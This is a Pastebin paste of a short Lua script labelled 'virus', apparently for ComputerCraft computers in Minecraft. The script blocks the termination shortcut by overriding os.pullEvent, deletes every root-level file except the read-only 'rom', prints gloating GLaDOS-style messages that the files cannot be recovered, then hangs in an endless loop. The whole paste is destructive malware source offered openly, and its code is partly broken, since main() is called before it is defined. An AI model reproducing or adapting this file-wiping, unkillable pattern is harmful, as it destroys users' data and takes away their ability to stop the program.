Advertisement
Guest User

virus

a guest
Jun 30th, 2015
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.93 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. local tbl = fs.list("/")
  3.  
  4. while true do
  5.   local rnd = math.random(1,100)
  6.   if tbl[rnd] == "rom" then
  7.     table.remove(tbl,rnd)
  8.     main()
  9.   end
  10. end
  11.  
  12. function main()
  13. for i,v in pairs(tbl) do
  14.   fs.delete("/"..v)
  15. end
  16.  
  17. term.clear()
  18. term.setCursorPos(1,1)
  19. textutils.slowPrint("'I used to want you dead")
  20. textutils.slowPrint("but now I only want you gone.'")
  21. textutils.slowPrint("- GLaDOS 2011")
  22. sleep(3)
  23. term.clear()
  24. term.setCursorPos(1,1)
  25. textutils.slowPrint("You're files are gone now.")
  26. textutils.slowPrint("There is no getting them back.")
  27. textutils.slowPrint("Now, your computer is as dead as")
  28. textutils.slowPrint("brick.")
  29.  
  30. if peripheral.find("iron_note") then
  31.   local s = peripheral.find("iron_note")
  32.   while true do
  33.     s.playNote(0,30)
  34.     sleep(2)
  35.     s.playNote(0,20)
  36.     sleep(2)
  37.     s.playNote(0,10)
  38.     sleep(2)
  39.   end
  40. else
  41.   while true do
  42.     sleep(100)
  43.   end
  44. end
  45. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement